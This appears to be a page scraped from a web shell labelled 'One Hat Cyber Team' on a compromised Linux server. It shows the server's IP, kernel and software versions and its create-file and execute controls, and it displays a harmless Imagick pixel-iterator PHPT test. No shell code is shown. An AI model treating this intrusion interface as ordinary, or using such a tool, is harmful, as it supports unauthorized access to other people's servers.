⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
local
/
src
/
imagick
/
tests
/
View File Name :
020-pixeliterator.phpt
--TEST-- Pixel Iterator tests --SKIPIF-- <?php require_once(dirname(__FILE__) . '/skipif.inc'); ?> --FILE-- <?php function count_rows ($pix) { $rows = 0; foreach ($pix as $r) $rows++; return $rows; } function count_objects ($pix) { $objects = 0; foreach ($pix as $r) foreach ($r as $o) $objects++; return $objects; } function count_objects_with_iterator ($pixelRegion) { $objects = 0; $row = 0; $pixelRegion->rewind(); $pixelRegion->resetIterator(); while($pixelRow = $pixelRegion->current()) { $row++; foreach ($pixelRow as $pixel) { $objects++; } $pixelRegion->syncIterator(); $pixelRegion->next(); if (!$pixelRegion->valid()) { break; } } return $objects; } $im = new Imagick ('magick:rose'); $it1 = new ImagickPixelIterator ($im); $it2 = ImagickPixelIterator::getPixelIterator ($im); $it3 = $im->getPixelIterator(); $count1 = count_rows ($it1); $count2 = count_rows ($it2); $count3 = count_rows ($it3); if ($count1 != $count2 || $count1 != $count3) { printf( "Row counts do not match %d %d %d", $count1, $count2, $count3 ); } if ($count1 != $count2 || $count1 != $count3) { printf( "Object counts do not match %d %d %d", $count1, $count2, $count3 ); } $objects = array($it1, $it2, $it3); foreach ($objects as $object) { $loop = 0; $count = count_objects($object); $countIterator = count_objects_with_iterator($object); if ($countIterator != $count) { echo "Counting with iterator doesn't match counting with foreach $loop, $count != $countIterator."; $loop++; } } $it1->newPixelIterator (new Imagick ('magick:rose')); echo 'done' . PHP_EOL; ?> --EXPECTF-- %s: ImagickPixelIterator::newPixelIterator is deprecated. ImagickPixelIterator::getPixelIterator should be used instead in %s on line %d done